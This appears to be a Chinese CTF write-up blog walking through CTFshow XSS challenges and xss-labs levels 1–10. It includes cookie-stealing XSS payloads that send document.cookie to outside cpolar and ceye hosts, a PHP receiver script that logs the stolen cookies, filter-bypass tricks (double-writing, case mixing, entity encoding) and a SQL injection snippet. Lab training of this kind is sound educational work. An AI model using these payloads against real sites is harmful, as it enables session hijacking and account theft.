CTFshow_XSS与xss-labs全关卡万字通关笔记

CTFshow

Web316

在PHPstudy上创建本地网站index.php,代码如下:

<?php 
$flag=$_GET['c'];
$file=fopen('flag.txt','w+');
fwrite($file,$flag);
fclose($file);
?>
  • 注册Cpolar并创建一个本地IP与公网IP的映射
    Cpolar官方文档
  • 执行payload语句<script>window.location.href='http://(你映射的IP地址)/index.php?c='+document.cookie</script>

window.location.href:这是JavaScript中的一个属性,用来获取或设置当前页面的URL。当设置这个属性时,浏览器会跳转到指定的URL。

  • 打开flag.txt文件,可以发现已经得到了flag在这里插入图片描述

Web317 过滤script

过滤了script、大小写混用绕过也被过滤

<body onload="window.location.href='http://fe6e643.cpolar.top/index.php?c='+document.cookie">

当用户加载这个网页的时候,Onload标签立刻触发,其他的逻辑跟上题一样

<img src='#' onerror="window.location.href='http://2e48661a.r12.cpolar.top/index.php?c='+document.cookie">

img 标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。

Web318~Web319 过滤img

过滤了img
采用上题第一种方法即可绕过

Web320~Web326 过滤空格

过滤了空格,改用 %0a 绕过。

或者用/和/**/

<body/**/onload="window.open('http://h9izlh.ceye.io/'+document.cookie)">

xss-labs

前置知识

  1. 攻击者向Web页面里面插入恶意脚本(JS代码),当用户浏览该界面时,Web页面中嵌入的恶意代码会执行,从而达成恶意攻击用户的目的,因此,XSS针对的是用户层面的攻击。
    因此,XSS攻击的两个必要条件是:
  • 攻击者提交XSS恶意代码-输入
  • Web页面的恶意JS代码能被执行-输出
  1. XSS分类
  • 反射型
    非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型。

  • 存储型
    持久型,常见的就是在博客留言板、反馈投诉、论坛评论等位置,将恶意代码和正文都存入服务端(数据库、内存、文件系统等),每次访问都会触发恶意代码。

  • DOM型
    DOM型XSS其实是一种特殊类型的反射型XSS,也被称作本地跨站,它是基于DOM文档对象模型的一种漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,触发XSS靠的是浏览器的DOM解析,完全是客户端的事情。
    DOM中有很多对象,其中一些对象可以被用户所操纵,如url、location等。客户端的脚本程序可以通过DOM来动态检查和修改页面内容,它不依赖于提交数据到服务器端,而是从客户端取得DOM中的数据后在本地执行,因此仅从服务器端是没有办法防御DOM型XSS漏洞的,如若DOM中的数据没有经过严格的验证,便会产生基于DOM的XSS漏洞。
    基于DOM的XSS是反射型的特例,其中JavaScript隐藏在URL中,并在其呈现时由页面中的JavaScript取出,而不是在提供服务时嵌入到页面中。这可以使其比其他攻击更隐蔽,并且监控页面正文的WAF或其他防护检测不出恶意内容。

本文所使用的所有构造XSS的语句:

<script>alert(1)</script>
#' οnclick='alert(/xss/)
"> <a href=javascript:alert()>xxx</a> <"
#' οnmοusemοve='alert(/xss/)
<img src=## οnerrοr=alert(document.cookie)>
<a onmouseover=alert(document.cookie)>点我点我</a>
等等

更多的:XSS常用触发标签

Less-1 反射型XSS alert()

观察源码以及网站payload,我们可以构造Payload来插入JS向服务器发起一个GET请求,从而造成反射性XSS在这里插入图片描述在这里插入图片描述

Less-2 XSS绕过

继续使用刚才的方法,发现XSS不成功
在这里插入图片描述
检查源代码,发现<>被转义了:< (小于) 成为 ‘&lt’; > (大于) 成为 ‘&gt’;但是下方input标签内的value没有进行转义,可以针对他进行构造
在这里插入图片描述查看源码,确实进行了转义

注:在PHP中,有 htmlentities() 和 htmlspecialchars() 两个函数可以满足安全要求:

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

在这里插入图片描述针对下方的JS语句进行构造,闭合<>
在这里插入图片描述

Less-3 单引号事件绕过

先注入一段JS试试,发现两处皆被转义了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onclick事件绕过在这里插入图片描述
针对input标签,首先闭合前面的单引号,再闭合后面的单引号,实现绕过
在这里插入图片描述再次点击,XSS注入成功
在这里插入图片描述

相同的方法还有

#' onmousemove='alert(/xss/)
' onfocus=javascript:alert() '

等等,思路都是绕过HTML"<>"的实体化

Less-4 双引号事件绕过

同样先输入一段XSS代码试试水,发现源码中<>被删除了,不同之处在于 value属性 使用的是双引号在这里插入图片描述
输入payload在这里插入图片描述绕过成功!
在这里插入图片描述

Less-5 标签插入绕过

这里script被替换成了scr_ipt
在这里插入图片描述这里on被替换成了o_n

在这里插入图片描述
那么我们可以构造一个a标签(链接):"> <a href=javascript:alert()>xxx</a> <"
在这里插入图片描述
点击“点我点我”即可绕过

Less-6 大小写绕过

查看源码,发现之前使用的方法里的关键字都被过滤掉了
在这里插入图片描述可以使用大小写绕过

在这里插入图片描述轻轻一点,绕过成功!
在这里插入图片描述

Less-7 双写绕过

输入<script>alert(1)</script>
结果变成了如下形式,猜测Web做了关键字删除操作,我们使用双写绕过
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
在这里插入图片描述
构造"><img ssrcrc="955" oonnerror=alert(1)><"绕过src和on的关键字过滤
在这里插入图片描述

Less-8 编码绕过

使用JavaScript:alert(1)不成功,经过几次尝试,大小写绕过以及双写绕过都失败了
在这里插入图片描述

查看源码可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数还过滤掉了src、data、onfocus、href、script、"(双引号)哭~
在这里插入图片描述这里用一个新方法—编码
三种绕过思想:

  1. URL编码
    在浏览器中输入一个链接,浏览器会对非保留字符进行URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29,普通的URL编码可能无法实现绕过,需要结合实际场景来判断。

  2. 十六进制编码
    如SQL注入中

mysql> select * from users where user_id=1 and (extractvalue(1,concat(0x7e,
(select password from users where first_name=0x61646d696e),0x7e)));
  1. Unicode编码
    形式:“u”或者是“%u”加上4位16进制Unicode码值。
    利用href的属性

javascript:alert() 通常出现在 HTML 超链接的 href 属性中,用来执行一段 JavaScript 代码。

我们可以利用在线工具进行和Unicode编码
在这里插入图片描述
构造payload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)成功绕过!
在这里插入图片描述

Less-9 指定内容检测绕过

输入上一关的代码,嗯?怎么肥事
在这里插入图片描述

检查源码
在这里插入图片描述在前面加上http://试一下
在这里插入图片描述

OK,知道咋回事了在这里插入图片描述
将其放到后面注释掉,即可通关
在这里插入图片描述

Less-10 隐藏的参数

检查源码发现三个隐藏项
在这里插入图片描述测一下试试

在这里插入图片描述t_sort成功接受到值
在这里插入图片描述接下来就直接插入JS了,简单明了
在这里插入图片描述

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值